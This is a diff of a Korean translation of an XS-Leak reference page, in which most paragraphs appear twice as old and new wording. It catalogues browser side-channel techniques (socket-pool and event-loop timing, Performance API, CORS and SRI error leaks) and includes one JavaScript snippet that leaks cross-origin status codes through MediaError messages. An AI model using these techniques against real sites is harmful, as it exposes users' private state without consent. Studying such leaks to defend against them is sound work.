- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
대상 페이지가 사용하는 **WebSocket 연결**의 수를 식별할 수 있습니다. 이는 공격자가 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있게 합니다.
대상 페이지가 사용하는 **WebSocket 연결**의 수를 식별할 수 있습니다. 이를 통해 공격자는 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있습니다.
하나의 **origin**이 **최대 WebSocket** 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 **새 객체를 생성하면 JavaScript 예외가 발생**합니다. 이 공격을 실행하기 위해 공격자 웹사이트는 대상 웹사이트를 팝업 또는 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **던져진 예외의 수**는 **대상 웹사이트** 창에서 사용된 **WebSocket 연결의 수**입니다.
하나의 **출처**가 **최대 WebSocket** 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 **새 객체의 생성은 JavaScript 예외를 발생**시킵니다. 이 공격을 실행하기 위해 공격자 웹사이트는 대상 웹사이트를 팝업 또는 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **던져진 예외의 수**는 **대상 웹사이트** 창에서 사용된 **WebSocket 연결의 수**입니다.
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Payment Request를 감지할 수 있습니다. 한 번에 하나만 활성화될 수 있습니다.
- **Summary**: Payment Request를 감지합니다. 한 번에 하나만 활성화될 수 있습니다.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
이 XS-Leak는 공격자가 **교차 출처 페이지가 결제 요청을 시작할 때** 감지할 수 있게 합니다.
**결제 요청** API를 사용하는 경우, **한 번에 하나의 결제 요청만 활성화**될 수 있으므로, 결제 요청 API를 사용하려는 추가 시도는 실패하고 **JavaScript 예외**를 발생시킵니다. 공격자는 **주기적으로 결제 API UI를 표시하려고 시도**하여 이를 악용할 수 있습니다. 하나의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있는 것입니다. 공격자는 UI를 생성한 후 즉시 닫아 이러한 주기적인 시도를 숨길 수 있습니다.
**결제 요청은 한 번에 하나만 활성화**될 수 있기 때문에, 대상 웹사이트가 Payment Request API를 사용하고 있다면, 이 API를 사용하려는 추가 시도는 실패하고 **JavaScript 예외**를 발생시킵니다. 공격자는 **주기적으로 Payment API UI를 표시하려고 시도**하여 이를 악용할 수 있습니다. 하나의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있다는 것을 알 수 있습니다. 공격자는 UI 생성 후 즉시 닫아 이러한 주기적인 시도를 숨길 수 있습니다.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,42 +228,42 @@ javascript-execution-xs-leak.md
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하며, 이는 **한 번에 하나의 작업만 실행할 수 있음을 의미합니다**. 이 특성은 **다른 출처의 코드가 실행되는 데 걸리는 시간을 측정하는 데 악용될 수 있습니다**. 공격자는 고정 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 빈 공간이 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, **공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트가 실행되는 데 걸리는 시간을 추론할 수 있습니다**. 이벤트 루프의 지연을 모니터링하는 이 방법은 다른 출처의 코드 실행 시간을 드러내어 민감한 정보를 노출할 수 있습니다.
JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하며, 이는 **한 번에 하나의 작업만 실행할 수 있음을 의미합니다**. 이 특성은 **다른 출처의 코드가 실행되는 데 걸리는 시간을 측정하는 데 악용될 수 있습니다**. 공격자는 고정 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드의 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 여유가 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, **공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트가 실행되는 데 걸리는 시간을 추론할 수 있습니다**. 이벤트 루프의 지연을 모니터링하는 이 방법은 다른 출처의 코드 실행 시간을 드러내어 민감한 정보를 노출할 수 있습니다.
> [!WARNING]
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다**. 차단 작업(예: 긴 계산 또는 동기 API 호출)을 이벤트 루프에 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써, 차단 기간 동안 이벤트 루프에서 실행 중이던 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작업을 순차적으로 실행하는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
- **Summary:** 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다**. 이벤트 루프에 차단 작업(예: 긴 계산 또는 동기 API 호출)을 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써 차단 기간 동안 이벤트 루프에서 실행 중인 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작업을 순차적으로 실행하는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
- **Code Example**:
이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 서로 다른 웹사이트를 별도의 프로세스로 분리하는 보안 기능으로, 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 것을 목표로 합니다. 그러나 공격자는 공유 이벤트 루프를 통해 다른 출처의 실행 시간을 영향을 미침으로써 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 오히려 공유 이벤트 루프에서 해당 출처의 활동이 미치는 영향을 관찰하여 **사이트 격리**에 의해 설정된 보호 장벽을 회피합니다.
이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 서로 다른 웹사이트를 별도의 프로세스로 분리하여 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 보안 기능입니다. 그러나 공격자는 공유 이벤트 루프를 통해 다른 출처의 실행 타이밍에 영향을 미침으로써 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 공유 이벤트 루프에서 해당 출처의 활동이 미치는 영향을 관찰하여 **사이트 격리**에 의해 설정된 보호 장벽을 회피합니다.
> [!WARNING]
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
### Connection Pool
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** 공격자는 모든 소켓을 잠그고 1개를 제외한 후, 대상 웹을 로드하고 동시에 다른 페이지를 로드할 수 있으며, 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
- **Summary:** 공격자는 모든 소켓을 1개를 제외하고 잠그고, 대상 웹을 로드하며 동시에 다른 페이지를 로드할 수 있습니다. 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
- **Code Example**:
{{#ref}}
connection-pool-example.md
{{#endref}}
브라우저는 서버 통신을 위해 소켓을 사용하지만, 운영 체제와 하드웨어의 제한된 자원으로 인해 **브라우저는 동시 소켓 수에 제한을 두어야 합니다**. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:
브라우저는 서버 통신을 위해 소켓을 사용하지만, 운영 체제와 하드웨어의 제한된 리소스 때문에 **브라우저는 동시 소켓 수에 제한을 두어야 합니다**. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:
1. 브라우저의 소켓 한도를 확인합니다. 예를 들어, 256개의 전역 소켓.
2. 255개의 소켓을 오랜 시간 동안 점유하기 위해 다양한 호스트에 255개의 요청을 시작하여 연결을 열어 둡니다.
2. 다양한 호스트에 255개의 요청을 시작하여 소켓 255개를 오랜 시간 동안 점유하여 연결을 열어 둡니다.
3. 256번째 소켓을 사용하여 대상 페이지에 요청을 보냅니다.
4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이는 2단계에서 255개의 소켓이 여전히 사용 중이므로, 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 함을 의미합니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸린 시간은 대상 페이지에 대한 요청이 완료되는 데 필요한 시간과 직접적으로 연결됩니다.
4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이는 2단계에서 사용 중인 255개의 소켓이 여전히 사용 중이므로, 새로 사용 가능해진 소켓은 3단계에서 해제된 소켓이어야 한다는 것을 의미합니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸린 시간은 대상 페이지에 대한 요청이 완료되는 데 걸린 시간과 직접적으로 연결됩니다.
더 많은 정보: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -272,15 +272,15 @@ connection-pool-example.md
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google **Chrome**은 **동일한 출처에 대해 6개의 동시 요청**으로 제한합니다. **5개를 차단**한 후 **6번째** 요청을 **시도**하면 **시간을 측정**할 수 있으며, **피해자 페이지가** 동일한 엔드포인트에 더 많은 **요청을 보내도록** 유도하면 **6번째 요청**이 **더 오래 걸리게** 되어 이를 감지할 수 있습니다.
- **Summary:** 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google **Chrome**은 **동일한 출처에 대해 6개의 동시 요청**으로 제한합니다. 만약 우리가 **5개를 차단**하고 **6번째** 요청을 시작하면 **시간을 측정**할 수 있으며, **피해자 페이지가 동일한 엔드포인트에 더 많은 요청을 보내도록** 만들 수 있다면, **6번째 요청**은 **더 오래 걸리며** 이를 감지할 수 있습니다.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)는 웹 애플리케이션의 성능 메트릭에 대한 통찰력을 제공하며, [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API)로 더욱 풍부해집니다. Resource Timing API는 요청의 지속 시간과 같은 상세한 네트워크 요청 타이밍을 모니터링할 수 있게 해줍니다. 특히 서버가 응답에 `Timing-Allow-Origin: *` 헤더를 포함하면 전송 크기 및 도메인 조회 시간과 같은 추가 데이터가 제공됩니다.
이 풍부한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한 이 API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프 간의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 브라우저의 특정 작업에 대해 `performance.now()`의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세분성에 영향을 미칠 수 있습니다.
이 풍부한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한 이 API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 특정 브라우저의 경우 `performance.now()`의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세밀함에 영향을 미칠 수 있습니다.
타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 제공하는 데 활용될 수 있습니다. 예를 들어, Chrome의 `performance` 객체에 페이지가 존재하는지 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 구체적으로, `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 페이지는 `performance` 객체에 기록되지 않으며, 이는 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.
타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 위해 활용될 수 있습니다. 예를 들어, Chrome의 `performance` 객체에 페이지가 존재하는지 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 구체적으로, `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 페이지는 `performance` 객체에 기록되지 않으며, 이는 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.
### Error Leak
@ -300,7 +300,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 브라우저 버그로 인해 오류가 발생하는 요청이 두 번 로드됩니다.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
이전 기술에서는 GC의 브라우저 버그로 인해 **로드에 실패한 리소스가 두 번 로드되는** 두 가지 경우가 확인되었습니다. 이로 인해 Performance API에 여러 항목이 생성되며, 따라서 이를 감지할 수 있습니다.
이전 기술에서는 로드 실패로 인해 **리소스가 두 번 로드되는** 브라우저 버그가 있는 두 가지 경우가 확인되었습니다. 이로 인해 Performance API에 여러 항목이 생성되며, 따라서 이를 감지할 수 있습니다.
### Request Merging Error
@ -330,7 +330,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 보안 주장에서 XSS 감사기를 사용하여 공격자는 조작된 페이로드가 감사기의 필터링 메커니즘을 트리거할 때 응답의 변화를 관찰하여 특정 웹 페이지 요소를 감지할 수 있습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에서는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 합법적인 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 정보를 추출하고 교차 출처 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이는 XS-Leaks라는 개념으로, 처음에는 Terada에 의해 보고되었고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않으므로 민감한 정보가 여전히 유출될 수 있는 방법을 드러냈습니다.
보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에서는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 합법적인 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 교차 출처 페이지에서 정보를 추출하고 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이 개념은 XS-Leaks로 알려져 있으며, 처음에는 Terada에 의해 보고되었고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않음을 발견하여 민감한 정보가 여전히 유출될 수 있는 방법을 드러냈습니다.
### X-Frame Leak
@ -341,7 +341,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
페이지가 **iframe**에서 **렌더링**되는 것이 **허용되지 않는 경우**, 성능 항목을 **생성하지 않습니다**. 결과적으로 공격자는 응답 헤더 **`X-Frame-Options`**를 감지할 수 있습니다.\
**embed** **태그**를 사용할 때도 마찬가지입니다.
**embed** **태그를 사용할 때도 마찬가지입니다.**
### Download Detection
@ -351,7 +351,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 다운로드는 Performance API에서 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
설명된 XS-Leak와 유사하게, **ContentDisposition** 헤더로 인해 다운로드되는 **리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.
설명된 XS-Leak와 유사하게, ContentDisposition 헤더로 인해 **다운로드되는 리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.
### Redirect Start Leak
@ -361,7 +361,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 리소스 타이밍 항목은 리디렉션의 시작 시간을 유출합니다.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 **SA**에서는 사용자가 대상 페이지에 의해 **리디렉션**되었는지 감지할 수 있습니다. **Performance API**를 쿼리하고 **redirectStart timing data**를 확인하여 이를 수행할 수 있습니다.
일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 **SA**에서는 사용자가 대상 페이지에 의해 **리디렉션**되었는지 감지할 수 있습니다. **Performance API**를 쿼리하고 **redirectStart 타이밍 데이터**를 확인함으로써 가능합니다.
### Duration Redirect Leak
@ -381,7 +381,7 @@ GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음
- **Summary:** CORP로 보호된 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
일부 경우, **nextHopProtocol entry**를 누출 기술로 사용할 수 있습니다. GC에서 **CORP header**가 설정되면 nextHopProtocol은 **비어 있습니다**. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않을 것에 유의하십시오.
일부 경우, **nextHopProtocol 항목**을 유출 기술로 사용할 수 있습니다. GC에서 **CORP 헤더**가 설정되면 nextHopProtocol은 **비어 있습니다**. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않습니다.
### Service Worker
@ -392,8 +392,8 @@ GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음
- **Code Example**:
서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 이들은 웹 페이지의 백그라운드에서 실행되며, 리소스를 가로채고 수정하며 **오프라인 웹 애플리케이션**을 만들기 위해 리소스를 캐시할 수 있습니다.\
**iframe**을 통해 **서비스 워커**에 의해 **캐시된 리소스**에 접근하면, 리소스는 **서비스 워커 캐시**에서 **로드**됩니다.\
리소스가 **서비스 워커** 캐시에서 **로드**되었는지 감지하기 위해 **Performance API**를 사용할 수 있습니다.\
**서비스 워커**에 의해 **캐시된 리소스**가 **iframe**을 통해 접근되면, 리소스는 **서비스 워커 캐시**에서 **로드됩니다**.\
리소스가 **서비스 워커** 캐시에서 **로드되었는지 감지하기 위해 Performance API를 사용할 수 있습니다.\
이것은 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문을 참조하십시오).
### Cache
@ -421,7 +421,7 @@ GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** Firefox에서는 교차 출처 요청의 상태 코드를 정확하게 유출할 수 있습니다.
- **Summary:** Firefox에서 교차 출처 요청의 상태 코드를 정확하게 유출할 수 있습니다.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -470,29 +470,29 @@ err.message +
audioElement.onerror = errHandler
}
```
`MediaError` 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 악용하여 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.
`MediaError` 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 이용해 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.
### CORS 오류
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 무심코 노출합니다.
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 우연히 노출합니다.
- **코드 예제**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
이 기술은 공격자가 **교차 출처 사이트의 리디렉션 목적지를 추출**할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용하는 것입니다. 구체적으로, **CORS 지원 요청**이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, **리디렉션의 대상 URL 전체**가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 끝점과 포함될 수 있는 **민감한 쿼리 매개변수**를 노출합니다.
이 기술은 공격자가 **교차 출처 사이트의 리디렉션 목적지를 추출**할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 이용한 것입니다. 구체적으로, **CORS가 활성화된 요청**이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, **리디렉션의 대상 URL 전체**가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 엔드포인트와 포함될 수 있는 **민감한 쿼리 매개변수**를 노출합니다.
### SRI 오류
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 무심코 노출합니다.
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 우연히 노출합니다.
- **코드 예제**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
공격자는 **상세한 오류 메시지**를 악용하여 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, SRI는 가져온 리소스가 변조되지 않았는지 확인하기 위해 무결성 속성을 사용합니다. 교차 출처 리소스에서 SRI가 작동하려면 **CORS 지원**이 필요하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 유사하게, 무결성 속성이 있는 fetch 요청이 실패한 후 오류 메시지를 캡처할 수 있습니다. 공격자는 **가짜 해시 값**을 무결성 속성에 할당하여 이 오류를 의도적으로 **유발**할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 무심코 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.
공격자는 **상세 오류 메시지**를 이용해 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, 이 메커니즘은 CDNs에서 가져온 리소스가 변조되지 않았는지 확인하기 위해 무결성 속성을 사용합니다. SRI가 교차 출처 리소스에서 작동하려면 **CORS가 활성화되어야** 하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 마찬가지로, 무결성 속성이 실패한 fetch 요청 후 오류 메시지를 캡처할 수 있습니다. 공격자는 **잘못된 해시 값**을 무결성 속성에 할당하여 이 오류를 의도적으로 **유발**할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 우연히 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.
### CSP 위반/감지
### CSP 위반/탐지
- **포함 방법**: 팝업
- **감지 가능한 차이**: 상태 코드
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
- **요약:** CSP에서 피해자의 웹사이트만 허용할 경우, 다른 도메인으로 리디렉션을 시도하면 CSP가 감지 가능한 오류를 발생시킵니다.
- **코드 예제**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
